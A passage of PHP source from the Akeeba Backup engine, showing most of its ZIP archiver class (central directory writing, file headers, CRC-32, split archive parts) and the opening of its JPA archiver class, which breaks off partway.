		Factory::getLog()->debug(__CLASS__ . " :: New instance");

		// Find the optimal chunk size for ZIP archive processing
		$this->findOptimalChunkSize();

		Factory::getLog()->debug("Chunk size for CRC is now " . $this->AkeebaPackerZIP_CHUNK_SIZE . " bytes");

		// Should I use Symlink Target Storage?
		$this->enableSymlinkTargetStorage();

		parent::__construct();

		if (!function_exists('hash_file') || !function_exists('hash'))
		{
			$action = version_compare(PHP_VERSION, '7.4.0', 'lt')
				? 'Please ask your host to enable the PHP hash extension and to make sure the hash_file() and hash() functions are not disabled.'
				: 'Please ask your host to change their PHP configuration so that the hash_file() and hash() functions are not disabled.';

			Factory::getLog()->warning(
				sprintf(
					'Your server lacks support for the hash_file() and/or hash() functions. CRC32 checksum cannot be calculated. Third party ZIP extraction tools may report the backup archive as broken. %s',
					$action
				)
			);
		}
	}

	/**
	 * Initialises the archiver class, creating the archive from an existent
	 * installer's JPA archive.
	 *
	 * @param   string  $sourceJPAPath      Absolute path to an installer's JPA archive
	 * @param   string  $targetArchivePath  Absolute path to the generated archive
	 * @param   array   $options            A named key array of options (optional). This is currently not supported
	 *
	 * @return void
	 */
	public function initialize($targetArchivePath, $options = [])
	{
		Factory::getLog()->debug(__CLASS__ . " :: initialize - archive $targetArchivePath");

		// Get names of temporary files
		$this->_dataFileName = $targetArchivePath;

		// Should we enable split archive feature?
		$this->enableSplitArchives();

		// Create the Central Directory temporary file
		$this->createCentralDirectoryTempFile();

		// Try to kill the archive if it exists
		$this->createNewBackupArchive();

		// On split archives, include the "Split ZIP" header, for PKZIP 2.50+ compatibility
		if ($this->useSplitArchive)
		{
			$this->openArchiveForOutput();
			$this->fwrite($this->fp, "\x50\x4b\x07\x08");
		}
	}

	public function finalize()
	{
		$this->finalizeZIPFile();
	}

	/**
	 * Glues the Central Directory of the ZIP file to the archive and takes care about the differences between single
	 * and multipart archives.
	 *
	 * Official ZIP file format: http://www.pkware.com/appnote.txt
	 *
	 * @return  void
	 */
	public function finalizeZIPFile()
	{
		// 1. Get size of central directory
		clearstatcache();
		$cdOffset                  = @filesize($this->_dataFileName);
		$this->totalCompressedSize += $cdOffset;
		$cdSize                    = @filesize($this->centralDirectoryFilename);

		// 2. Append Central Directory to data file and remove the CD temp file afterwards
		if (!is_null($this->fp))
		{
			$this->fclose($this->fp);
		}

		if (!is_null($this->cdfp))
		{
			$this->fclose($this->cdfp);
		}

		$this->openArchiveForOutput(true);

		/**
		 * Do not remove the fcloseByName line! This is required for post-processing multipart archives when for any
		 * reason $this->filePointers[$this->centralDirectoryFilename] contains null instead of boolean false. In this
		 * case the while loop would be stuck forever and the backup would fail. This HAS happened and I have been able
		 * to reproduce it but I did not have enough time to identify the real root cause. This workaround, however,
		 * works.
		 */
		$this->fcloseByName($this->centralDirectoryFilename);
		$this->cdfp = $this->fopen($this->centralDirectoryFilename, "r");

		if ($this->cdfp === false)
		{
			// Already glued, return
			$this->fclose($this->fp);
			$this->fp   = null;
			$this->cdfp = null;

			return;
		}

		// Comment length (I need it before I start gluing the archive)
		$comment_length = akstrlen($this->_comment);

		// Special consideration for split ZIP files
		if ($this->useSplitArchive)
		{
			// Calculate size of Central Directory + EOCD records
			$total_cd_eocd_size = $cdSize + 22 + $comment_length;

			// Free space on the part
			$free_space = $this->getPartFreeSize();

			if (($free_space < $total_cd_eocd_size) && ($total_cd_eocd_size > 65536))
			{
				// Not enough space on archive for CD + EOCD, will go on separate part
				$this->createAndOpenNewPart(true);
			}
		}

		/**
		 * Write the CD record
		 *
		 * Note about is_resource: in some circumstances where multipart ZIP files are generated, the $this->cdfp will
		 * contain a null value. This seems to happen when $this->fopen returns null, i.e. $this->filePointers has a
		 * null value instead of a file pointer (resource). Why this happens is unclear but the workaround is to remove
		 * the null value from $this->filePointers and retry $this->fopen. Normally this should not be required since we
		 * already to the fcloseByName/fopen dance above. This if-block is our last hope to catch a potential issue
		 * which would either make the while loop go infinite (not anymore, I've patched it) or the Central Directory
		 * not get written to the archive, which results in a broken archive.
		 */
		if (!is_resource($this->cdfp))
		{
			$this->fcloseByName($this->centralDirectoryFilename);
			$this->cdfp = $this->fopen($this->centralDirectoryFilename, "r");

			// We tried reopening the central directory file and failed again. Time to report a fatal error.
			if (!$this->cdfp)
			{
				throw new RuntimeException("Cannot open central directory temporary file {$this->centralDirectoryFilename} for reading.");
			}
		}

		while (!feof($this->cdfp) && is_resource($this->cdfp))
		{
			/**
			 * Why not split the Central Directory between parts?
			 *
			 * APPNOTE.TXT §8.5.2 "The central directory may span segment boundaries, but no single record in the
			 * central directory should be split across segments."
			 *
			 * This would require parsing the CD temp file to prevent any CD record from spanning across two parts.
			 * But how many bytes is each CD record? It's about 100 bytes per file which gives us about 10,400 files
			 * per MB. Even a 2MB part size holds more than 20,000 file records. A typical 10Mb part size holds more
			 * files than the largest backup I've ever seen. Therefore there is no need to waste computational power
			 * to see if we need to span the Central Directory between parts.
			 */
			$chunk = fread($this->cdfp, _AKEEBA_DIRECTORY_READ_CHUNK);
			$this->fwrite($this->fp, $chunk);
		}

		unset($chunk);

		// Delete the temporary CD file
		$this->fclose($this->cdfp);
		$this->cdfp = null;
		Factory::getTempFiles()->unregisterAndDeleteTempFile($this->centralDirectoryFilename);

		// 3. Write the rest of headers to the end of the ZIP file
		$this->fwrite($this->fp, $this->centralDirectoryRecordEndSignature);

		if ($this->useSplitArchive)
		{
			// Split ZIP files, enter relevant disk number information
			$this->fwrite($this->fp, pack('v', $this->totalParts - 1)); /* Number of this disk. */
			$this->fwrite($this->fp, pack('v', $this->totalParts - 1)); /* Disk with central directory start. */
		}
		else
		{
			// Non-split ZIP files, the disk number MUST be 0
			$this->fwrite($this->fp, pack('V', 0));
		}

		$this->fwrite($this->fp, pack('v', $this->totalFilesCount)); /* Total # of entries "on this disk". */
		$this->fwrite($this->fp, pack('v', $this->totalFilesCount)); /* Total # of entries overall. */
		$this->fwrite($this->fp, pack('V', $cdSize)); /* Size of central directory. */
		$this->fwrite($this->fp, pack('V', $cdOffset)); /* Offset to start of central dir. */

		// 2.0.b2 -- Write a ZIP file comment
		$this->fwrite($this->fp, pack('v', $comment_length)); /* ZIP file comment length. */
		$this->fwrite($this->fp, $this->_comment);
		$this->fclose($this->fp);

		// If Split ZIP and there is no .zip file, rename the last fragment to .ZIP
		if ($this->useSplitArchive)
		{
			$extension = substr($this->_dataFileName, -3);

			if ($extension != '.zip')
			{
				Factory::getLog()->debug('Renaming last ZIP part to .ZIP extension');

				$newName = $this->dataFileNameWithoutExtension . '.zip';

				if (!@rename($this->_dataFileName, $newName))
				{
					throw new RuntimeException('Could not rename last ZIP part to .ZIP extension.');
				}

				$this->_dataFileName = $newName;
			}

			// If Split ZIP and only one fragment, change the signature
			if ($this->totalParts == 1)
			{
				$this->fp = $this->fopen($this->_dataFileName, 'r+');
				$this->fwrite($this->fp, "\x50\x4b\x30\x30");
			}
		}

		@chmod($this->_dataFileName, $this->getPermissions());
	}

	/**
	 * Returns a string with the extension (including the dot) of the files produced
	 * by this class.
	 *
	 * @return string
	 */
	public function getExtension()
	{
		return '.zip';
	}

	/**
	 * Extend the bootstrap code to add some define's used by the ZIP format engine
	 *
	 * @return  void
	 */
	protected function __bootstrap_code()
	{
		if (!defined('_AKEEBA_COMPRESSION_THRESHOLD'))
		{
			$config = Factory::getConfiguration();
			define("_AKEEBA_COMPRESSION_THRESHOLD", $config->get('engine.archiver.common.big_file_threshold')); // Don't compress files over this size
			define("_AKEEBA_DIRECTORY_READ_CHUNK", $config->get('engine.archiver.zip.cd_glue_chunk_size')); // How much data to read at once when finalizing ZIP archives
		}

		parent::__bootstrap_code();
	}

	/**
	 * The most basic file transaction: add a single entry (file or directory) to
	 * the archive.
	 *
	 * @param   bool    $isVirtual         If true, the next parameter contains file data instead of a file name
	 * @param   string  $sourceNameOrData  Absolute file name to read data from or the file data itself is $isVirtual is
	 *                                     true
	 * @param   string  $targetName        The (relative) file name under which to store the file in the archive
	 *
	 * @return bool True on success, false otherwise
	 */
	protected function _addFile($isVirtual, &$sourceNameOrData, $targetName)
	{
		$configuration = Factory::getConfiguration();

		// Note down the starting disk number for Split ZIP archives
		$starting_disk_number_for_this_file = 0;

		if ($this->useSplitArchive)
		{
			$starting_disk_number_for_this_file = $this->currentPartNumber - 1;
		}

		// Open data file for output
		$this->openArchiveForOutput();

		// Should I continue backing up a file from the previous step?
		$continueProcessingFile = $configuration->get('volatile.engine.archiver.processingfile', false);

		// Initialize with the default values. Why are *these* values default? If we are continuing file packing, by
		// definition we have an uncompressed, non-virtual file. Hence the default values.
		$isDir             = false;
		$isSymlink         = false;
		$compressionMethod = 1;
		$zdata             = null;
		// If we are continuing file packing we have an uncompressed, non-virtual file.
		$isVirtual = $continueProcessingFile ? false : $isVirtual;
		$resume    = $continueProcessingFile ? 0 : null;

		if (!$continueProcessingFile)
		{
			// Log the file being added
			$messageSource = $isVirtual ? '(virtual data)' : "(source: $sourceNameOrData)";
			Factory::getLog()->debug("-- Adding $targetName to archive $messageSource");

			$this->writeFileHeader($sourceNameOrData, $targetName, $isVirtual, $isSymlink, $isDir,
				$compressionMethod, $zdata, $unc_len,
				$storedName, $crc, $c_len, $hexdtime, $old_offset);
		}
		else
		{
			// Since we are continuing archiving, it's an uncompressed regular file. Set up the variables.
			$sourceNameOrData = $configuration->get('volatile.engine.archiver.sourceNameOrData', '');
			$resume           = $configuration->get('volatile.engine.archiver.resume', 0);
			$unc_len          = $configuration->get('volatile.engine.archiver.unc_len');
			$storedName       = $configuration->get('volatile.engine.archiver.storedName');
			$crc              = $configuration->get('volatile.engine.archiver.crc');
			$c_len            = $configuration->get('volatile.engine.archiver.c_len');
			$hexdtime         = $configuration->get('volatile.engine.archiver.hexdtime');
			$old_offset       = $configuration->get('volatile.engine.archiver.old_offset');

			// Log the file we continue packing
			Factory::getLog()->debug("-- Resuming adding file $sourceNameOrData to archive from position $resume (total size $unc_len)");
		}

		/* "File data" segment. */
		if ($compressionMethod == 8)
		{
			$this->putRawDataIntoArchive($zdata);
		}
		elseif ($isVirtual)
		{
			// Virtual data. Put into the archive.
			$this->putRawDataIntoArchive($sourceNameOrData);
		}
		elseif ($isSymlink)
		{
			$this->fwrite($this->fp, @readlink($sourceNameOrData));
		}
		elseif ((!$isDir) && (!$isSymlink))
		{
			// Uncompressed file.
			if ($this->putUncompressedFileIntoArchive($sourceNameOrData, $unc_len, $resume) === true)
			{
				// If it returns true we are doing a step break to resume packing in the next step. So we need to return
				// true here to avoid running the final bit of code which writes the central directory record and
				// uncaches the file resume data.
				return true;
			}
		}

		// Open the central directory file for append
		if (is_null($this->cdfp))
		{
			$this->cdfp = @$this->fopen($this->centralDirectoryFilename, "a");
		}

		if ($this->cdfp === false)
		{
			throw new ErrorException("Could not open Central Directory temporary file for append!");
		}

		$this->fwrite($this->cdfp, $this->centralDirectoryRecordStartSignature);

		if (!$isSymlink)
		{
			$this->fwrite($this->cdfp, "\x14\x00"); /* Version made by (always set to 2.0). */
			$this->fwrite($this->cdfp, "\x14\x00"); /* Version needed to extract */
			$this->fwrite($this->cdfp, pack('v', 2048)); /* General purpose bit flag */
			$this->fwrite($this->cdfp, ($compressionMethod == 8) ? "\x08\x00" : "\x00\x00"); /* Compression method. */
		}
		else
		{
			// Symlinks get special treatment
			$this->fwrite($this->cdfp, "\x14\x03"); /* Version made by (version 2.0 with UNIX extensions). */
			$this->fwrite($this->cdfp, "\x0a\x03"); /* Version needed to extract */
			$this->fwrite($this->cdfp, pack('v', 2048)); /* General purpose bit flag */
			$this->fwrite($this->cdfp, "\x00\x00"); /* Compression method. */
		}

		$this->fwrite($this->cdfp, $hexdtime); /* Last mod time/date. */
		$this->fwrite($this->cdfp, $crc); /* CRC 32 information. */
		$this->fwrite($this->cdfp, pack('V', $c_len)); /* Compressed filesize. */

		if ($compressionMethod == 0)
		{
			// When we are not compressing, $unc_len is being reduced to 0 while backing up.
			// With this trick, we always store the correct length, as in this case the compressed
			// and uncompressed length is always the same.
			$this->fwrite($this->cdfp, pack('V', $c_len)); /* Uncompressed filesize. */
		}
		else
		{
			// When compressing, the uncompressed length differs from compressed length
			// and this line writes the correct value.
			$this->fwrite($this->cdfp, pack('V', $unc_len)); /* Uncompressed filesize. */
		}

		$fn_length = akstrlen($storedName);
		$this->fwrite($this->cdfp, pack('v', $fn_length)); /* Length of filename. */
		$this->fwrite($this->cdfp, pack('v', 0)); /* Extra field length. */
		$this->fwrite($this->cdfp, pack('v', 0)); /* File comment length. */
		$this->fwrite($this->cdfp, pack('v', $starting_disk_number_for_this_file)); /* Disk number start. */
		$this->fwrite($this->cdfp, pack('v', 0)); /* Internal file attributes. */

		/* External file attributes */
		if (!$isSymlink)
		{
			// Archive bit set
			$this->fwrite($this->cdfp, pack('V', $isDir ? 0x41FF0010 : 0xFE49FFE0));
		}
		else
		{
			// For SymLinks we store UNIX file attributes
			$this->fwrite($this->cdfp, "\x20\x80\xFF\xA1");
		}

		$this->fwrite($this->cdfp, pack('V', $old_offset)); /* Relative offset of local header. */
		$this->fwrite($this->cdfp, $storedName); /* File name. */

		/* Optional extra field, file comment goes here. */

		// Finally, increase the file counter by one
		$this->totalFilesCount++;

		// Uncache data
		$configuration->set('volatile.engine.archiver.sourceNameOrData', null);
		$configuration->set('volatile.engine.archiver.unc_len', null);
		$configuration->set('volatile.engine.archiver.resume', null);
		$configuration->set('volatile.engine.archiver.hexdtime', null);
		$configuration->set('volatile.engine.archiver.crc', null);
		$configuration->set('volatile.engine.archiver.c_len', null);
		$configuration->set('volatile.engine.archiver.fn_length', null);
		$configuration->set('volatile.engine.archiver.old_offset', null);
		$configuration->set('volatile.engine.archiver.storedName', null);
		$configuration->set('volatile.engine.archiver.sourceNameOrData', null);

		$configuration->set('volatile.engine.archiver.processingfile', false);

		// ... and return TRUE = success
		return true;
	}

	/**
	 * Write the file header before putting the file data into the archive
	 *
	 * @param   string  $sourceNameOrData   The path to the file being compressed, or the raw file data for virtual files
	 * @param   string  $targetName         The target path to be stored inside the archive
	 * @param   bool    $isVirtual          Is this a virtual file?
	 * @param   bool    $isSymlink          Is this a symlink?
	 * @param   bool    $isDir              Is this a directory?
	 * @param   int     $compressionMethod  The compression method chosen for this file
	 * @param   string  $zdata              If we have compression method other than 0 this holds the compressed data.
	 *                                      We return that from this method to avoid having to compress the same data
	 *                                      twice (once to write the compressed data length in the header and once to
	 *                                      write the compressed data to the archive).
	 * @param   int     $unc_len            The uncompressed size of the file / source data
	 *
	 * @param   string  $storedName         The file path stored in the archive
	 * @param   string  $crc                CRC-32 for the file
	 * @param   int     $c_len              Compressed data length
	 * @param   string  $hexdtime           ZIP's hexadecimal notation if the file's modification date
	 * @param   int     $old_offset         Offset of the file header in the part file
	 */
	protected function writeFileHeader(&$sourceNameOrData, $targetName, &$isVirtual, &$isSymlink, &$isDir,
	                                   &$compressionMethod, &$zdata, &$unc_len, &$storedName, &$crc, &$c_len,
	                                   &$hexdtime, &$old_offset)
	{
		static $memLimit = null;

		if (is_null($memLimit))
		{
			$memLimit = $this->getMemoryLimit();
		}

		$configuration = Factory::getConfiguration();

		// See if it's a directory
		$isDir = $isVirtual ? false : is_dir($sourceNameOrData);

		// See if it's a symlink (w/out dereference)
		$isSymlink = false;

		if ($this->storeSymlinkTarget && !$isVirtual)
		{
			$isSymlink = is_link($sourceNameOrData);
		}

		// Get real size before compression
		[$unc_len, $fileModTime] =
			$this->getFileSizeAndModificationTime($sourceNameOrData, $isVirtual, $isSymlink, $isDir);

		// Decide if we will compress
		$compressionMethod = $this->getCompressionMethod($unc_len, $memLimit, $isDir, $isSymlink);

		if ($isVirtual)
		{
			Factory::getLog()->debug('  Virtual add:' . $targetName . ' (' . $unc_len . ') - ' . $compressionMethod);
		}

		/* "Local file header" segment. */

		$crc = $this->getCRCForEntity($sourceNameOrData, $isVirtual, $isDir, $isSymlink);

		$storedName = $targetName;

		if (!$isSymlink && $isDir)
		{
			$storedName .= "/";
			$unc_len    = 0;
		}

		// Test for non-existing or unreadable files
		$this->testIfFileExists($sourceNameOrData, $isVirtual, $isDir, $isSymlink);

		// Default compressed (archived) length = uncompressed length – valid unless we can actually compress the data.
		$c_len = $unc_len;

		// If we have to compress, read the data in memory and compress it
		if ($compressionMethod == 8)
		{
			$this->getZData($sourceNameOrData, $isVirtual, $compressionMethod, $zdata, $unc_len, $c_len);

			// The method modifies $compressionMethod to 0 (uncompressed) or 1 (Deflate) but the ZIP format needs it
			// to be 0 (uncompressed) or 8 (Deflate). So I just multiply by 8.
			$compressionMethod *= 8;
		}

		// Get the hex time.
		$hexdtime = pack('V', $this->unix2DOSTime($fileModTime));

		// If it's a split ZIP file, we've got to make sure that the header can fit in the part
		if ($this->useSplitArchive)
		{
			// Get header size, taking into account any extra header necessary
			$header_size = 30 + akstrlen($storedName);

			// Compare to free part space
			$free_space = $this->getPartFreeSize();

			if ($free_space <= $header_size)
			{
				// Not enough space on current part, create new part
				$this->createAndOpenNewPart();
			}
		}

		$old_offset = @ftell($this->fp);

		if ($this->useSplitArchive && ($old_offset == 0))
		{
			// Because in split ZIPs we have the split ZIP marker in the first four bytes.
			@fseek($this->fp, 4);
			$old_offset = @ftell($this->fp);
		}

		// Get the file name length in bytes
		$fn_length = akstrlen($storedName);

		$this->fwrite($this->fp, $this->fileHeaderSignature); /* Begin creating the ZIP data. */

		/* Version needed to extract. */
		if (!$isSymlink)
		{
			$this->fwrite($this->fp, "\x14\x00");
		}
		else
		{
			$this->fwrite($this->fp, "\x0a\x03");
		}

		$this->fwrite($this->fp, pack('v', 2048)); /* General purpose bit flag. Bit 11 set = use UTF-8 encoding for filenames & comments */
		$this->fwrite($this->fp, ($compressionMethod == 8) ? "\x08\x00" : "\x00\x00"); /* Compression method. */
		$this->fwrite($this->fp, $hexdtime); /* Last modification time/date. */
		$this->fwrite($this->fp, $crc); /* CRC 32 information. */
		$this->fwrite($this->fp, pack('V', $c_len)); /* Compressed filesize. */
		$this->fwrite($this->fp, pack('V', $unc_len)); /* Uncompressed filesize. */
		$this->fwrite($this->fp, pack('v', $fn_length)); /* Length of filename. */
		$this->fwrite($this->fp, pack('v', 0)); /* Extra field length. */
		$this->fwrite($this->fp, $storedName); /* File name. */

		// Cache useful information about the file
		if (!$isDir && !$isSymlink && !$isVirtual)
		{
			$configuration->set('volatile.engine.archiver.unc_len', $unc_len);
			$configuration->set('volatile.engine.archiver.hexdtime', $hexdtime);
			$configuration->set('volatile.engine.archiver.crc', $crc);
			$configuration->set('volatile.engine.archiver.c_len', $c_len);
			$configuration->set('volatile.engine.archiver.fn_length', $fn_length);
			$configuration->set('volatile.engine.archiver.old_offset', $old_offset);
			$configuration->set('volatile.engine.archiver.storedName', $storedName);
			$configuration->set('volatile.engine.archiver.sourceNameOrData', $sourceNameOrData);
		}
	}

	/**
	 * Get the preferred compression method for a file
	 *
	 * @param   int   $fileSize   File size in bytes
	 * @param   int   $memLimit   Memory limit in bytes
	 * @param   bool  $isDir      Is it a directory?
	 * @param   bool  $isSymlink  Is it a symlink?
	 *
	 * @return  int  Compression method to use
	 */
	protected function getCompressionMethod($fileSize, $memLimit, $isDir, $isSymlink)
	{
		// ZIP uses 0 for uncompressed and 8 for GZip Deflate whereas the parent method returns 0 and 1 respectively
		return 8 * parent::getCompressionMethod($fileSize, $memLimit, $isDir, $isSymlink);
	}

	/**
	 * Calculate the CRC-32 checksum
	 *
	 * @param   string  $sourceNameOrData  The path to the file being compressed, or the raw file data for virtual files
	 * @param   bool    $isVirtual         Is this a virtual file?
	 * @param   bool    $isSymlink         Is this a symlink?
	 * @param   bool    $isDir             Is this a directory?
	 *
	 * @return  int  The CRC-32
	 */
	protected function getCRCForEntity(&$sourceNameOrData, &$isVirtual, &$isDir, &$isSymlink)
	{
		// No hash? No CRC32!
		if (!function_exists('hash'))
		{
			return pack('V', 0);
		}

		// Do I need to reverse the endianness of CRC32b data?
		static $reverseEndianness = null;

		if ($reverseEndianness === null)
		{
			$reverseEndianness = hash('crc32b', 'The quick brown fox jumped over the lazy dog.', true) === pack('N', 2191738434);
		}

		$entityType = 'file';
		$loggedName = null;

		// Directories: dummy CRC-32
		if (!$isSymlink && $isDir)
		{
			$entityType = 'folder';
			$crc        = pack('V', 0);
		}
		// Symlinks: CRC32 of the link source
		elseif ($isSymlink)
		{
			$entityType = 'symlink';
			$crc        = hash('crc32b', @readlink($sourceNameOrData) ?: '', true);
		}
		// Virtual files: CRC32 of the contents
		elseif ($isVirtual)
		{
			$entityType = 'virtual file';
			$loggedName = sprintf('of size %u', strlen($sourceNameOrData));
			$crc        = hash('crc32b', $sourceNameOrData ?: '', true);
		}
		// Files: CRC32 of the file contents
		else
		{
			// Get the CRC32 for the file
			$crc = function_exists("hash_file") ? @hash_file('crc32b', $sourceNameOrData, true) : null;

			// If the file was unreadable skip it
			if ($crc === false)
			{
				throw new WarningException('Could not calculate CRC32 for ' . $sourceNameOrData . '. Looks like it is an unreadable file.');
			}

			// If hash_file is not available use a fake CRC32
			$crc = $crc ?: pack('V', 0);
		}

		/**
		 * If CRC32 returns Big Endian data I'll have to convert it to Little Endian, as required by ZIP.
		 *
		 * I cannot unpack as Big Endian and repack as Little Endian. The intermediate conversion to integer might
		 * overflow 32-bit versions of PHP as its internal integer type is platform-dependent.
		 *
		 * I cannot reverse the string using string functions because the internal character encoding may be something
		 * other than ASCII / 8-bit and mb_string might not be available.
		 *
		 * Instead, I am unpacking the binary string as an array of unsigned bytes and then repacking the bytes, in
		 * reverse order, into a binary string. pack() and unpack() are not affected by the character encoding. Using
		 * unsigned bytes guarantees they will fit into internal integer variables regardless of the platform used.
		 */
		if ($crc !== "\000\000\000\000" && $reverseEndianness)
		{
			$temp = array_values(unpack('C4', $crc));
			$crc  = pack('C*', $temp[3], $temp[2], $temp[1], $temp[0]);
		}

		// Log the calculated CRC32 if the site is in debug mode
		if (defined('AKEEBADEBUG'))
		{
			$asHexChars = array_map(
				function ($c) {
					return dechex($c);
				}, unpack('C*', $crc)
			);

			Factory::getLog()->debug(
				sprintf(
					'%s %s - CRC32 = %s',
					$entityType,
					$loggedName ?? $sourceNameOrData,
					implode('', $reverseEndianness ? array_reverse($asHexChars) : $asHexChars)
				)
			);
		}

		return $crc;
	}

	/**
	 * Converts a UNIX timestamp to a 4-byte DOS date and time format
	 * (date in high 2-bytes, time in low 2-bytes allowing magnitude
	 * comparison).
	 *
	 * @param   integer  $unixtime  The current UNIX timestamp.
	 *
	 * @return integer  The current date in a 4-byte DOS format.
	 */
	protected function unix2DOSTime($unixtime = null)
	{
		$timearray = (is_null($unixtime)) ? getdate() : getdate($unixtime);

		if ($timearray['year'] < 1980)
		{
			$timearray['year']    = 1980;
			$timearray['mon']     = 1;
			$timearray['mday']    = 1;
			$timearray['hours']   = 0;
			$timearray['minutes'] = 0;
			$timearray['seconds'] = 0;
		}

		return (($timearray['year'] - 1980) << 25) |
			($timearray['mon'] << 21) |
			($timearray['mday'] << 16) |
			($timearray['hours'] << 11) |
			($timearray['minutes'] << 5) |
			($timearray['seconds'] >> 1);
	}

	/**
	 * Creates a new part for the spanned archive
	 *
	 * @param   bool  $finalPart  Is this the final archive part?
	 *
	 * @return  bool  True on success
	 */
	protected function createNewPartFile($finalPart = false)
	{
		// Close any open file pointers
		if (is_resource($this->fp))
		{
			$this->fclose($this->fp);
		}

		if (is_resource($this->cdfp))
		{
			$this->fclose($this->cdfp);
		}

		// Remove the just finished part from the list of resumable offsets
		$this->removeFromOffsetsList($this->_dataFileName);

		// Set the file pointers to null
		$this->fp   = null;
		$this->cdfp = null;

		// Push the previous part if we have to post-process it immediately
		$configuration = Factory::getConfiguration();

		if ($configuration->get('engine.postproc.common.after_part', 0))
		{
			$this->finishedPart[] = $this->_dataFileName;
		}

		// Add the part's size to our rolling sum
		clearstatcache();
		$this->totalCompressedSize += filesize($this->_dataFileName);
		$this->totalParts++;
		$this->currentPartNumber = $this->totalParts;

		if ($finalPart)
		{
			$this->_dataFileName = $this->dataFileNameWithoutExtension . '.zip';
		}
		else
		{
			$this->_dataFileName = $this->dataFileNameWithoutExtension . '.z' . sprintf('%02d', $this->currentPartNumber);
		}

		Factory::getLog()->info('Creating new ZIP part #' . $this->currentPartNumber . ', file ' . $this->_dataFileName);

		// Inform the backup engine that we have changed the multipart number
		$statistics = Factory::getStatistics();
		$statistics->updateMultipart($this->totalParts);

		// Try to remove any existing file
		@unlink($this->_dataFileName);

		// Touch the new file
		$result = @touch($this->_dataFileName);

		@chmod($this->_dataFileName, $this->getPermissions());

		return $result;
	}

	/**
	 * Find the optimal chunk size for CRC32 calculations and file processing
	 *
	 * @return  void
	 */
	private function findOptimalChunkSize()
	{
		$configuration = Factory::getConfiguration();

		// The user has entered their own preference
		if ($configuration->get('engine.archiver.common.chunk_size', 0) > 0)
		{
			$this->AkeebaPackerZIP_CHUNK_SIZE = AKEEBA_CHUNK;

			return;
		}

		// Get the PHP memory limit
		$memLimit = $this->getMemoryLimit();

		// Can't get a PHP memory limit? Use 2Mb chunks (fairly large, right?)
		if (is_null($memLimit))
		{
			$this->AkeebaPackerZIP_CHUNK_SIZE = 2097152;

			return;
		}

		if (!function_exists("memory_get_usage"))
		{
			// PHP can't report memory usage, use a conservative 512Kb
			$this->AkeebaPackerZIP_CHUNK_SIZE = 524288;

			return;
		}

		// PHP *can* report memory usage, see if there's enough available memory
		$availableRAM = $memLimit - memory_get_usage();

		if ($availableRAM > 0)
		{
			$this->AkeebaPackerZIP_CHUNK_SIZE = $availableRAM * 0.5;

			return;
		}

		// NEGATIVE AVAILABLE MEMORY?!! Some borked PHP implementations also return the size of the httpd footprint.
		if (($memLimit - 6291456) > 0)
		{
			$this->AkeebaPackerZIP_CHUNK_SIZE = $memLimit - 6291456;

			return;
		}

		// If all else fails, use 2Mb and cross your fingers
		$this->AkeebaPackerZIP_CHUNK_SIZE = 2097152;
	}

	/**
	 * Create a Central Directory temporary file
	 *
	 * @return  void
	 *
	 * @throws  ErrorException
	 */
	private function createCentralDirectoryTempFile()
	{
		$configuration                  = Factory::getConfiguration();
		$this->centralDirectoryFilename = tempnam($configuration->get('akeeba.basic.output_directory'), 'akzcd');
		$this->centralDirectoryFilename = basename($this->centralDirectoryFilename);
		$pos                            = strrpos($this->centralDirectoryFilename, '/');

		if ($pos !== false)
		{
			$this->centralDirectoryFilename = substr($this->centralDirectoryFilename, $pos + 1);
		}

		$pos = strrpos($this->centralDirectoryFilename, '\\');

		if ($pos !== false)
		{
			$this->centralDirectoryFilename = substr($this->centralDirectoryFilename, $pos + 1);
		}

		$this->centralDirectoryFilename = Factory::getTempFiles()->registerTempFile($this->centralDirectoryFilename);

		Factory::getLog()->debug(__CLASS__ . " :: CntDir Tempfile = " . $this->centralDirectoryFilename);

		// Create temporary file
		if (!@touch($this->centralDirectoryFilename))
		{
			throw new ErrorException("Could not open temporary file for ZIP archiver. Please check your temporary directory's permissions!");
		}

		@chmod($this->centralDirectoryFilename, $this->getPermissions());
	}
}
com_akeeba/BackupEngine/Archiver/Jpa.php000060400000045716152455305260014153 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Factory;
use RuntimeException;

/**
 * JPA creation class
 *
 * JPA Format 1.2 implemented, minus BZip2 compression support
 */
class Jpa extends BaseArchiver
{
	/** @var string Standard Header signature */
	private const ARCHIVE_SIGNATURE = "\x4A\x50\x41";

	/** @var string Entity Block signature */
	private const FILE_HEADER_SIGNATURE = "\x4A\x50\x46";

	/** @var string Marks the split archive's extra header */
	private const SPLIT_ARCHIVE_EXTRA_HEADER = "\x4A\x50\x01\x01";

	/** @var string Marks the archive's 64-bit integer representations of file sizes (JPA v1.3) */
	private const ARCHIVE_LONGLONG_SIZES_EXTRA_HEADER = "\x4A\x50\x01\x02";

	/** @var integer How many files are contained in the archive */
	private $totalFilesCount = 0;

	/** @var integer The total size of files contained in the archive as they are stored */
	private $totalCompressedSize = 0;

	/** @var integer The total size of files contained in the archive when they are extracted to disk. */
	private $totalUncompressedSize = 0;

	/** @var int Current part file number */
	private $currentPartNumber = 1;

	/** @var int Total number of part files */
	private $totalParts = 1;

	/**
	 * Initialises the archiver class, creating the archive from an existent
	 * installer's JPA archive.
	 *
	 * @param   string  $targetArchivePath  Absolute path to the generated archive
	 * @param   array   $options            A named key array of options (optional)
	 *
	 * @return  void
	 */
	public function initialize($targetArchivePath, $options = [])
	{
		Factory::getLog()->debug(__CLASS__ . " :: new instance - archive $targetArchivePath");
		$this->_dataFileName = $targetArchivePath;

		// Should we enable Split ZIP feature?
		$this->enableSplitArchives();

		// Should I use Symlink Target Storage?
		$this->enableSymlinkTargetStorage();

		// Try to kill the archive if it exists
		$this->createNewBackupArchive();

		// Write the initial instance of the archive header
		$this->_writeArchiveHeader();
	}

	/**
	 * Updates the Standard Header with current information
	 *
	 * @return  void
	 */
	public function finalize()
	{
		if (is_resource($this->fp))
		{
			$this->fclose($this->fp);
		}

		if (is_resource($this->cdfp))
		{
